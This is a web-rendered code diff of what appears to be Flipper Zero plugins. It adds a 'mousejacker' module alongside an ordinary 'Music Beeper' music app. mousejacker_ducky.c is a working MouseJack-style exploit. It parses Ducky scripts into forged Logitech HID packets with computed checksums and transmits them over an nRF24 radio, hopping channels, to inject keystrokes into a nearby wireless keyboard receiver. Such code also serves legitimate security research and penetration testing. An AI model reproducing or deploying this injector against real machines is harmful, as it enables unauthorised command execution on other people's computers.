case InputKeyBack:
plugin_state->close_thread_please = true;
if(plugin_state->is_thread_running && plugin_state->mjthread) {
furi_thread_join(
plugin_state->mjthread); // wait until thread is finished
}
plugin_state->close_thread_please = false;
processing = false;
break;
default:
break;
}
}
}
}
view_port_update(view_port);
release_mutex(&state_mutex, plugin_state);
}
furi_thread_free(plugin_state->mjthread);
nrf24_deinit();
view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_STORAGE);
view_port_free(view_port);
furi_message_queue_free(event_queue);
free(plugin_state);
return 0;
}
applications/plugins/mousejacker/mousejacker_ducky.c
+383
View File
@@ -0,0 +1,383 @@
#include "mousejacker_ducky.h"
static const char ducky_cmd_comment[] = {"REM"};
static const char ducky_cmd_delay[] = {"DELAY "};
static const char ducky_cmd_string[] = {"STRING "};
static const char ducky_cmd_repeat[] = {"REPEAT "};
static uint8_t LOGITECH_HID_TEMPLATE[] =
{0x00, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
static uint8_t LOGITECH_HELLO[] = {0x00, 0x4F, 0x00, 0x04, 0xB0, 0x10, 0x00, 0x00, 0x00, 0xED};
static uint8_t LOGITECH_KEEPALIVE[] = {0x00, 0x40, 0x00, 0x55, 0x6B};
uint8_t prev_hid = 0;
#define RT_THRESHOLD 50
#define LOGITECH_MIN_CHANNEL 2
#define LOGITECH_MAX_CHANNEL 83
#define LOGITECH_KEEPALIVE_SIZE 5
#define LOGITECH_HID_TEMPLATE_SIZE 10
#define LOGITECH_HELLO_SIZE 10
#define TAG "mousejacker_ducky"
MJDuckyKey mj_ducky_keys[] = {{" ", 44, 0}, {"!", 30, 2}, {"\"", 52, 2},
{"#", 32, 2}, {"$", 33, 2}, {"%", 34, 2},
{"&", 36, 2}, {"'", 52, 0}, {"(", 38, 2},
{")", 39, 2}, {"*", 37, 2}, {"+", 46, 2},
{",", 54, 0}, {"-", 45, 0}, {".", 55, 0},
{"/", 56, 0}, {"0", 39, 0}, {"1", 30, 0},
{"2", 31, 0}, {"3", 32, 0}, {"4", 33, 0},
{"5", 34, 0}, {"6", 35, 0}, {"7", 36, 0},
{"8", 37, 0}, {"9", 38, 0}, {":", 51, 2},
{";", 51, 0}, {"<", 54, 2}, {"=", 46, 0},
{">", 55, 2}, {"?", 56, 2}, {"@", 31, 2},
{"A", 4, 2}, {"B", 5, 2}, {"C", 6, 2},
{"D", 7, 2}, {"E", 8, 2}, {"F", 9, 2},
{"G", 10, 2}, {"H", 11, 2}, {"I", 12, 2},
{"J", 13, 2}, {"K", 14, 2}, {"L", 15, 2},
{"M", 16, 2}, {"N", 17, 2}, {"O", 18, 2},
{"P", 19, 2}, {"Q", 20, 2}, {"R", 21, 2},
{"S", 22, 2}, {"T", 23, 2}, {"U", 24, 2},
{"V", 25, 2}, {"W", 26, 2}, {"X", 27, 2},
{"Y", 28, 2}, {"Z", 29, 2}, {"[", 47, 0},
{"\\", 49, 0}, {"]", 48, 0}, {"^", 35, 2},
{"_", 45, 2}, {"`", 53, 0}, {"a", 4, 0},
{"b", 5, 0}, {"c", 6, 0}, {"d", 7, 0},
{"e", 8, 0}, {"f", 9, 0}, {"g", 10, 0},
{"h", 11, 0}, {"i", 12, 0}, {"j", 13, 0},
{"k", 14, 0}, {"l", 15, 0}, {"m", 16, 0},
{"n", 17, 0}, {"o", 18, 0}, {"p", 19, 0},
{"q", 20, 0}, {"r", 21, 0}, {"s", 22, 0},
{"t", 23, 0}, {"u", 24, 0}, {"v", 25, 0},
{"w", 26, 0}, {"x", 27, 0}, {"y", 28, 0},
{"z", 29, 0}, {"{", 47, 2}, {"|", 49, 2},
{"}", 48, 2}, {"~", 53, 2}, {"BACKSPACE", 42, 0},
{"", 0, 0}, {"ALT", 0, 4}, {"SHIFT", 0, 2},
{"CTRL", 0, 1}, {"GUI", 0, 8}, {"SCROLLLOCK", 71, 0},
{"ENTER", 40, 0}, {"F12", 69, 0}, {"HOME", 74, 0},
{"F10", 67, 0}, {"F9", 66, 0}, {"ESCAPE", 41, 0},
{"PAGEUP", 75, 0}, {"TAB", 43, 0}, {"PRINTSCREEN", 70, 0},
{"F2", 59, 0}, {"CAPSLOCK", 57, 0}, {"F1", 58, 0},
{"F4", 61, 0}, {"F6", 63, 0}, {"F8", 65, 0},
{"DOWNARROW", 81, 0}, {"DELETE", 42, 0}, {"RIGHT", 79, 0},
{"F3", 60, 0}, {"DOWN", 81, 0}, {"DEL", 76, 0},
{"END", 77, 0}, {"INSERT", 73, 0}, {"F5", 62, 0},
{"LEFTARROW", 80, 0}, {"RIGHTARROW", 79, 0}, {"PAGEDOWN", 78, 0},
{"PAUSE", 72, 0}, {"SPACE", 44, 0}, {"UPARROW", 82, 0},
{"F11", 68, 0}, {"F7", 64, 0}, {"UP", 82, 0},
{"LEFT", 80, 0}};
/*
static bool mj_ducky_get_number(const char* param, uint32_t* val) {
uint32_t value = 0;
if(sscanf(param, "%lu", &value) == 1) {
*val = value;
return true;
}
return false;
}
*/
static uint32_t mj_ducky_get_command_len(const char* line) {
uint32_t len = strlen(line);
for(uint32_t i = 0; i < len; i++) {
if(line[i] == ' ') return i;
}
return 0;
}
static bool mj_get_ducky_key(char* key, size_t keylen, MJDuckyKey* dk) {
//FURI_LOG_D(TAG, "looking up key %s with length %d", key, keylen);
for(uint i = 0; i < sizeof(mj_ducky_keys) / sizeof(MJDuckyKey); i++) {
if(!strncmp(mj_ducky_keys[i].name, key, keylen)) {
memcpy(dk, &mj_ducky_keys[i], sizeof(MJDuckyKey));
return true;
}
}
return false;
}
static void checksum(uint8_t* payload, uint len) {
// This is also from the KeyKeriki paper
// Thanks Thorsten and Max!
uint8_t cksum = 0xff;
for(uint n = 0; n < len - 2; n++) cksum = (cksum - payload[n]) & 0xff;
cksum = (cksum + 1) & 0xff;
payload[len - 1] = cksum;
}
static void inject_packet(
FuriHalSpiBusHandle* handle,
uint8_t* addr,
uint8_t addr_size,
uint8_t rate,
uint8_t* payload,
size_t payload_size,
PluginState* plugin_state) {
uint8_t rt_count = 0;
while(1) {
if(!plugin_state->is_thread_running || plugin_state->close_thread_please) {
return;
}
if(nrf24_txpacket(handle, payload, payload_size, true)) {
break;
}
rt_count++;
// retransmit threshold exceeded, scan for new channel
if(rt_count > RT_THRESHOLD) {
if(nrf24_find_channel(
handle,
addr,
addr,
addr_size,
rate,
LOGITECH_MIN_CHANNEL,
LOGITECH_MAX_CHANNEL,
true) > LOGITECH_MAX_CHANNEL) {
return; // fail
}
//FURI_LOG_D("mj", "find channel passed, %d", tessst);
rt_count = 0;
}
}
}
static void build_hid_packet(uint8_t mod, uint8_t hid, uint8_t* payload) {
memcpy(payload, LOGITECH_HID_TEMPLATE, LOGITECH_HID_TEMPLATE_SIZE);
payload[2] = mod;
payload[3] = hid;
checksum(payload, LOGITECH_HID_TEMPLATE_SIZE);
}
static void send_hid_packet(
FuriHalSpiBusHandle* handle,
uint8_t* addr,
uint8_t addr_size,
uint8_t rate,
uint8_t mod,
uint8_t hid,
PluginState* plugin_state) {
uint8_t hid_payload[LOGITECH_HID_TEMPLATE_SIZE] = {0};
build_hid_packet(0, 0, hid_payload);
if(hid == prev_hid)
inject_packet(
handle,
addr,
addr_size,
rate,
hid_payload,
LOGITECH_HID_TEMPLATE_SIZE,
plugin_state); // empty hid packet
prev_hid = hid;
build_hid_packet(mod, hid, hid_payload);
inject_packet(
handle, addr, addr_size, rate, hid_payload, LOGITECH_HID_TEMPLATE_SIZE, plugin_state);
furi_delay_ms(12);
}
// returns false if there was an error processing script line
static bool mj_process_ducky_line(
FuriHalSpiBusHandle* handle,
uint8_t* addr,
uint8_t addr_size,
uint8_t rate,
char* line,
char* prev_line,
PluginState* plugin_state) {
MJDuckyKey dk;
uint8_t hid_payload[LOGITECH_HID_TEMPLATE_SIZE] = {0};
char* line_tmp = line;
uint32_t line_len = strlen(line);
if(!plugin_state->is_thread_running || plugin_state->close_thread_please) {
return true;
}
for(uint32_t i = 0; i < line_len; i++) {
if((line_tmp[i] != ' ') && (line_tmp[i] != '\t') && (line_tmp[i] != '\n')) {
line_tmp = &line_tmp[i];
break; // Skip spaces and tabs
}
if(i == line_len - 1) return true; // Skip empty lines
}
FURI_LOG_D(TAG, "line: %s", line_tmp);
// General commands
if(strncmp(line_tmp, ducky_cmd_comment, strlen(ducky_cmd_comment)) == 0) {
// REM - comment line
return true;
} else if(strncmp(line_tmp, ducky_cmd_delay, strlen(ducky_cmd_delay)) == 0) {
// DELAY
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
uint32_t delay_val = 0;
delay_val = atoi(line_tmp);
if(delay_val > 0) {
uint32_t delay_count = delay_val / 10;
build_hid_packet(0, 0, hid_payload);
inject_packet(
handle,
addr,
addr_size,
rate,
hid_payload,
LOGITECH_HID_TEMPLATE_SIZE,
plugin_state); // empty hid packet
for(uint32_t i = 0; i < delay_count; i++) {
if(!plugin_state->is_thread_running || plugin_state->close_thread_please) {
return true;
}
inject_packet(
handle,
addr,
addr_size,
rate,
LOGITECH_KEEPALIVE,
LOGITECH_KEEPALIVE_SIZE,
plugin_state);
furi_delay_ms(10);
}
return true;
}
return false;
} else if(strncmp(line_tmp, ducky_cmd_string, strlen(ducky_cmd_string)) == 0) {
// STRING
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
for(size_t i = 0; i < strlen(line_tmp); i++) {
if(!mj_get_ducky_key(&line_tmp[i], 1, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
}
return true;
} else if(strncmp(line_tmp, ducky_cmd_repeat, strlen(ducky_cmd_repeat)) == 0) {
// REPEAT
uint32_t repeat_cnt = 0;
if(prev_line == NULL) return false;
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
repeat_cnt = atoi(line_tmp);
if(repeat_cnt < 2) return false;
FURI_LOG_D(TAG, "repeating %s %ld times", prev_line, repeat_cnt);
for(uint32_t i = 0; i < repeat_cnt; i++)
mj_process_ducky_line(handle, addr, addr_size, rate, prev_line, NULL, plugin_state);
return true;
} else if(strncmp(line_tmp, "ALT", strlen("ALT")) == 0) {
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 4, dk.hid, plugin_state);
return true;
} else if(
strncmp(line_tmp, "GUI", strlen("GUI")) == 0 ||
strncmp(line_tmp, "WINDOWS", strlen("WINDOWS")) == 0 ||
strncmp(line_tmp, "COMMAND", strlen("COMMAND")) == 0) {
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 8, dk.hid, plugin_state);
return true;
} else if(
strncmp(line_tmp, "CTRL-ALT", strlen("CTRL-ALT")) == 0 ||
strncmp(line_tmp, "CONTROL-ALT", strlen("CONTROL-ALT")) == 0) {
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 4 | 1, dk.hid, plugin_state);
return true;
} else if(
strncmp(line_tmp, "CTRL-SHIFT", strlen("CTRL-SHIFT")) == 0 ||
strncmp(line_tmp, "CONTROL-SHIFT", strlen("CONTROL-SHIFT")) == 0) {
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 4 | 2, dk.hid, plugin_state);
return true;
} else if(
strncmp(line_tmp, "CTRL", strlen("CTRL")) == 0 ||
strncmp(line_tmp, "CONTROL", strlen("CONTROL")) == 0) {
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 1, dk.hid, plugin_state);
return true;
} else if(strncmp(line_tmp, "SHIFT", strlen("SHIFT")) == 0) {
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 2, dk.hid, plugin_state);
return true;
} else if(
strncmp(line_tmp, "ESC", strlen("ESC")) == 0 ||
strncmp(line_tmp, "APP", strlen("APP")) == 0 ||
strncmp(line_tmp, "ESCAPE", strlen("ESCAPE")) == 0) {
if(!mj_get_ducky_key("ESCAPE", 6, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
return true;
} else if(strncmp(line_tmp, "ENTER", strlen("ENTER")) == 0) {
if(!mj_get_ducky_key("ENTER", 5, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
return true;
} else if(
strncmp(line_tmp, "UP", strlen("UP")) == 0 ||
strncmp(line_tmp, "UPARROW", strlen("UPARROW")) == 0) {
if(!mj_get_ducky_key("UP", 2, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
return true;
} else if(
strncmp(line_tmp, "DOWN", strlen("DOWN")) == 0 ||
strncmp(line_tmp, "DOWNARROW", strlen("DOWNARROW")) == 0) {
if(!mj_get_ducky_key("DOWN", 4, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
return true;
} else if(
strncmp(line_tmp, "LEFT", strlen("LEFT")) == 0 ||
strncmp(line_tmp, "LEFTARROW", strlen("LEFTARROW")) == 0) {
if(!mj_get_ducky_key("LEFT", 4, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
return true;
} else if(
strncmp(line_tmp, "RIGHT", strlen("RIGHT")) == 0 ||
strncmp(line_tmp, "RIGHTARROW", strlen("RIGHTARROW")) == 0) {
if(!mj_get_ducky_key("RIGHT", 5, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
return true;
} else if(strncmp(line_tmp, "SPACE", strlen("SPACE")) == 0) {
if(!mj_get_ducky_key("SPACE", 5, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
return true;
}
return false;
}
void mj_process_ducky_script(
FuriHalSpiBusHandle* handle,
uint8_t* addr,
uint8_t addr_size,
uint8_t rate,
char* script,
PluginState* plugin_state) {
uint8_t hid_payload[LOGITECH_HID_TEMPLATE_SIZE] = {0};
char* prev_line = NULL;
inject_packet(
handle, addr, addr_size, rate, LOGITECH_HELLO, LOGITECH_HELLO_SIZE, plugin_state);
char* line = strtok(script, "\n");
while(line != NULL) {
if(strcmp(&line[strlen(line) - 1], "\r") == 0) line[strlen(line) - 1] = (char)0;
if(!mj_process_ducky_line(handle, addr, addr_size, rate, line, prev_line, plugin_state))
FURI_LOG_D(TAG, "unable to process ducky script line: %s", line);
prev_line = line;
line = strtok(NULL, "\n");
}
build_hid_packet(0, 0, hid_payload);
inject_packet(
handle,
addr,
addr_size,
rate,
hid_payload,
LOGITECH_HID_TEMPLATE_SIZE,
plugin_state); // empty hid packet at end
}
applications/plugins/mousejacker/mousejacker_ducky.h
+44
View File
@@ -0,0 +1,44 @@
#pragma once
#include <stdlib.h>
#include <stdbool.h>
#include <stdint.h>
#include <furi_hal_spi.h>
#include <stdio.h>
#include <string.h>
#include <nrf24.h>
#include <furi.h>
#include <furi_hal.h>
#include <toolbox/stream/file_stream.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef struct {
char* name;
uint8_t hid;
uint8_t mod;
} MJDuckyKey;
typedef struct {
bool ducky_err;
bool addr_err;
bool is_thread_running;
bool is_ducky_running;
bool close_thread_please;
Storage* storage;
FuriThread* mjthread;
Stream* file_stream;
} PluginState;
void mj_process_ducky_script(
FuriHalSpiBusHandle* handle,
uint8_t* addr,
uint8_t addr_size,
uint8_t rate,
char* script,
PluginState* plugin_state);
#ifdef __cplusplus
}
#endif
applications/plugins/music_beeper/application.fam
+25
View File
@@ -0,0 +1,25 @@
App(
appid="Music_Beeper",
name="Music Beeper",
apptype=FlipperAppType.EXTERNAL,
entry_point="music_beeper_app",
cdefines=["APP_MUSIC_BEEPER"],
requires=[
"gui",
"dialogs",
],
provides=["music_beeper_start"],
stack_size=2 * 1024,
order=45,
fap_icon="icons/music_10px.png",
fap_category="Music",
fap_icon_assets="icons",
)
App(
appid="music_beeper_start",
apptype=FlipperAppType.STARTUP,
entry_point="music_beeper_on_system_start",
requires=["music_beeper"],
order=30,
)
applications/plugins/music_beeper/icons/music_10px.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 142 B

applications/plugins/music_beeper/music_beeper.c
+367
View File
@@ -0,0 +1,367 @@
#include "music_beeper_worker.h"
#include <furi.h>
#include <furi_hal.h>
#include <Music_Beeper_icons.h>
#include <gui/gui.h>
#include <dialogs/dialogs.h>
#include <storage/storage.h>
#define TAG "MusicBeeper"
#define MUSIC_BEEPER_APP_PATH_FOLDER ANY_PATH("music_player")
#define MUSIC_BEEPER_APP_EXTENSION "*"
#define MUSIC_BEEPER_SEMITONE_HISTORY_SIZE 4
typedef struct {
uint8_t semitone_history[MUSIC_BEEPER_SEMITONE_HISTORY_SIZE];
uint8_t duration_history[MUSIC_BEEPER_SEMITONE_HISTORY_SIZE];
uint8_t volume;
uint8_t semitone;
uint8_t dots;
uint8_t duration;
float position;
} MusicBeeperModel;
typedef struct {
MusicBeeperModel* model;
FuriMutex** model_mutex;
FuriMessageQueue* input_queue;
ViewPort* view_port;
Gui* gui;
MusicBeeperWorker* worker;
} MusicBeeper;
static const float MUSIC_BEEPER_VOLUMES[] = {0, .25, .5, .75, 1};
static const char* semitone_to_note(int8_t semitone) {
switch(semitone) {
case 0:
return "C";
case 1:
return "C#";
case 2:
return "D";
case 3:
return "D#";
case 4:
return "E";
case 5:
return "F";
case 6:
return "F#";
case 7:
return "G";
case 8:
return "G#";
case 9:
return "A";
case 10:
return "A#";
case 11:
return "B";
default:
return "--";
}
}
static bool is_white_note(uint8_t semitone, uint8_t id) {
switch(semitone) {
case 0:
if(id == 0) return true;
break;
case 2:
if(id == 1) return true;
break;
case 4:
if(id == 2) return true;
break;
case 5:
if(id == 3) return true;
break;
case 7:
if(id == 4) return true;
break;
case 9:
if(id == 5) return true;
break;
case 11:
if(id == 6) return true;
break;
default:
break;
}
return false;
}
static bool is_black_note(uint8_t semitone, uint8_t id) {
switch(semitone) {
case 1:
if(id == 0) return true;
break;
case 3:
if(id == 1) return true;
break;
case 6:
if(id == 3) return true;
break;
case 8:
if(id == 4) return true;
break;
case 10:
if(id == 5) return true;
break;
default:
break;
}
return false;
}
static void render_callback(Canvas* canvas, void* ctx) {
MusicBeeper* music_beeper = ctx;
furi_check(furi_mutex_acquire(music_beeper->model_mutex, FuriWaitForever) == FuriStatusOk);
canvas_clear(canvas);
canvas_set_color(canvas, ColorBlack);
canvas_set_font(canvas, FontPrimary);
canvas_draw_str(canvas, 0, 12, "MusicBeeper");
uint8_t x_pos = 0;
uint8_t y_pos = 24;
const uint8_t white_w = 10;
const uint8_t white_h = 40;
const int8_t black_x = 6;
const int8_t black_y = -5;
const uint8_t black_w = 8;
const uint8_t black_h = 32;
// white keys
for(size_t i = 0; i < 7; i++) {
if(is_white_note(music_beeper->model->semitone, i)) {
canvas_draw_box(canvas, x_pos + white_w * i, y_pos, white_w + 1, white_h);
} else {
canvas_draw_frame(canvas, x_pos + white_w * i, y_pos, white_w + 1, white_h);
}
}
// black keys
for(size_t i = 0; i < 7; i++) {
if(i != 2 && i != 6) {
canvas_set_color(canvas, ColorWhite);
canvas_draw_box(
canvas, x_pos + white_w * i + black_x, y_pos + black_y, black_w + 1, black_h);
canvas_set_color(canvas, ColorBlack);
if(is_black_note(music_beeper->model->semitone, i)) {
canvas_draw_box(
canvas, x_pos + white_w * i + black_x, y_pos + black_y, black_w + 1, black_h);
} else {
canvas_draw_frame(
canvas, x_pos + white_w * i + black_x, y_pos + black_y, black_w + 1, black_h);
}
}
}
// volume view_port
x_pos = 124;
y_pos = 0;
const uint8_t volume_h =
(64 / (COUNT_OF(MUSIC_BEEPER_VOLUMES) - 1)) * music_beeper->model->volume;
canvas_draw_frame(canvas, x_pos, y_pos, 4, 64);
canvas_draw_box(canvas, x_pos, y_pos + (64 - volume_h), 4, volume_h);
// note stack view_port
x_pos = 73;
y_pos = 0;
canvas_set_color(canvas, ColorBlack);
canvas_set_font(canvas, FontPrimary);
canvas_draw_frame(canvas, x_pos, y_pos, 49, 64);
canvas_draw_line(canvas, x_pos + 28, 0, x_pos + 28, 64);
char duration_text[16];
for(uint8_t i = 0; i < MUSIC_BEEPER_SEMITONE_HISTORY_SIZE; i++) {
if(music_beeper->model->duration_history[i] == 0xFF) {
snprintf(duration_text, 15, "--");
} else {
snprintf(duration_text, 15, "%d", music_beeper->model->duration_history[i]);
}
if(i == 0) {
canvas_draw_box(canvas, x_pos, y_pos + 48, 49, 16);
canvas_set_color(canvas, ColorWhite);
} else {
canvas_set_color(canvas, ColorBlack);
}
canvas_draw_str(
canvas,
x_pos + 4,
64 - 16 * i - 3,
semitone_to_note(music_beeper->model->semitone_history[i]));
canvas_draw_str(canvas, x_pos + 31, 64 - 16 * i - 3, duration_text);
canvas_draw_line(canvas, x_pos, 64 - 16 * i, x_pos + 48, 64 - 16 * i);
}
furi_mutex_release(music_beeper->model_mutex);
}
static void input_callback(InputEvent* input_event, void* ctx) {
MusicBeeper* music_beeper = ctx;
if(input_event->type == InputTypeShort) {
furi_message_queue_put(music_beeper->input_queue, input_event, 0);
}
}
static void music_beeper_worker_callback(
uint8_t semitone,
uint8_t dots,
uint8_t duration,
float position,
void* context) {
MusicBeeper* music_beeper = context;
furi_check(furi_mutex_acquire(music_beeper->model_mutex, FuriWaitForever) == FuriStatusOk);
for(size_t i = 0; i < MUSIC_BEEPER_SEMITONE_HISTORY_SIZE - 1; i++) {
size_t r = MUSIC_BEEPER_SEMITONE_HISTORY_SIZE - 1 - i;
music_beeper->model->duration_history[r] = music_beeper->model->duration_history[r - 1];
music_beeper->model->semitone_history[r] = music_beeper->model->semitone_history[r - 1];
}
semitone = (semitone == 0xFF) ? 0xFF : semitone % 12;
music_beeper->model->semitone = semitone;
music_beeper->model->dots = dots;
music_beeper->model->duration = duration;
music_beeper->model->position = position;
music_beeper->model->semitone_history[0] = semitone;
music_beeper->model->duration_history[0] = duration;
furi_mutex_release(music_beeper->model_mutex);
view_port_update(music_beeper->view_port);
}
void music_beeper_clear(MusicBeeper* instance) {
memset(instance->model->duration_history, 0xff, MUSIC_BEEPER_SEMITONE_HISTORY_SIZE);
memset(instance->model->semitone_history, 0xff, MUSIC_BEEPER_SEMITONE_HISTORY_SIZE);
music_beeper_worker_clear(instance->worker);
}
MusicBeeper* music_beeper_alloc() {
MusicBeeper* instance = malloc(sizeof(MusicBeeper));
instance->model = malloc(sizeof(MusicBeeperModel));
instance->model->volume = 4;
instance->model_mutex = furi_mutex_alloc(FuriMutexTypeNormal);
instance->input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
instance->worker = music_beeper_worker_alloc();
music_beeper_worker_set_volume(
instance->worker, MUSIC_BEEPER_VOLUMES[instance->model->volume]);
music_beeper_worker_set_callback(instance->worker, music_beeper_worker_callback, instance);
music_beeper_clear(instance);
instance->view_port = view_port_alloc();
view_port_draw_callback_set(instance->view_port, render_callback, instance);
view_port_input_callback_set(instance->view_port, input_callback, instance);
// Open GUI and register view_port
instance->gui = furi_record_open(RECORD_GUI);
gui_add_view_port(instance->gui, instance->view_port, GuiLayerFullscreen);
return instance;
}
void music_beeper_free(MusicBeeper* instance) {
gui_remove_view_port(instance->gui, instance->view_port);
furi_record_close(RECORD_GUI);
view_port_free(instance->view_port);
music_beeper_worker_free(instance->worker);
furi_message_queue_free(instance->input_queue);
furi_mutex_free(instance->model_mutex);
free(instance->model);
free(instance);
}
int32_t music_beeper_app(void* p) {
MusicBeeper* music_beeper = music_beeper_alloc();
FuriString* file_path;
file_path = furi_string_alloc();
do {
if(p && strlen(p)) {
furi_string_set(file_path, (const char*)p);
} else {
furi_string_set(file_path, MUSIC_BEEPER_APP_PATH_FOLDER);
DialogsFileBrowserOptions browser_options;
dialog_file_browser_set_basic_options(
&browser_options, MUSIC_BEEPER_APP_EXTENSION, &I_music_10px);
browser_options.hide_ext = false;
DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS);
bool res = dialog_file_browser_show(dialogs, file_path, file_path, &browser_options);
furi_record_close(RECORD_DIALOGS);
if(!res) {
FURI_LOG_E(TAG, "No file selected");
break;
}
}
if(!music_beeper_worker_load(music_beeper->worker, furi_string_get_cstr(file_path))) {
FURI_LOG_E(TAG, "Unable to load file");
break;
}
music_beeper_worker_start(music_beeper->worker);
InputEvent input;
while(furi_message_queue_get(music_beeper->input_queue, &input, FuriWaitForever) ==
FuriStatusOk) {
furi_check(
furi_mutex_acquire(music_beeper->model_mutex, FuriWaitForever) == FuriStatusOk);
if(input.key == InputKeyBack) {
furi_mutex_release(music_beeper->model_mutex);
break;
} else if(input.key == InputKeyUp) {
if(music_beeper->model->volume < COUNT_OF(MUSIC_BEEPER_VOLUMES) - 1)
music_beeper->model->volume++;
music_beeper_worker_set_volume(
music_beeper->worker, MUSIC_BEEPER_VOLUMES[music_beeper->model->volume]);
} else if(input.key == InputKeyDown) {
if(music_beeper->model->volume > 0) music_beeper->model->volume--;
music_beeper_worker_set_volume(
music_beeper->worker, MUSIC_BEEPER_VOLUMES[music_beeper->model->volume]);
}
furi_mutex_release(music_beeper->model_mutex);
view_port_update(music_beeper->view_port);
}
music_beeper_worker_stop(music_beeper->worker);
if(p && strlen(p)) break; // Exit instead of going to browser if launched with arg
music_beeper_clear(music_beeper);
} while(1);
furi_string_free(file_path);
music_beeper_free(music_beeper);
return 0;
}
applications/plugins/music_beeper/music_beeper_cli.c
+48
View File
@@ -0,0 +1,48 @@
#include <furi.h>
#include <cli/cli.h>
#include <storage/storage.h>
#include "music_beeper_worker.h"
static void music_beeper_cli(Cli* cli, FuriString* args, void* context) {
UNUSED(context);
MusicBeeperWorker* music_beeper_worker = music_beeper_worker_alloc();
Storage* storage = furi_record_open(RECORD_STORAGE);
do {
if(storage_common_stat(storage, furi_string_get_cstr(args), NULL) == FSE_OK) {
if(!music_beeper_worker_load(music_beeper_worker, furi_string_get_cstr(args))) {
printf("Failed to open file %s\r\n", furi_string_get_cstr(args));
break;
}
} else {
if(!music_beeper_worker_load_rtttl_from_string(
music_beeper_worker, furi_string_get_cstr(args))) {
printf("Argument is not a file or RTTTL\r\n");
break;
}
}
printf("Press CTRL+C to stop\r\n");
music_beeper_worker_set_volume(music_beeper_worker, 1.0f);
music_beeper_worker_start(music_beeper_worker);
while(!cli_cmd_interrupt_received(cli)) {
furi_delay_ms(50);
}
music_beeper_worker_stop(music_beeper_worker);
} while(0);
furi_record_close(RECORD_STORAGE);
music_beeper_worker_free(music_beeper_worker);
}
void music_beeper_on_system_start() {
#ifdef SRV_CLI
Cli* cli = furi_record_open(RECORD_CLI);
cli_add_command(cli, "music_beeper", CliCommandFlagDefault, music_beeper_cli, NULL);
furi_record_close(RECORD_CLI);
#else
UNUSED(music_beeper_cli);
#endif
}

Some files were not shown because too many files have changed in this diff Show More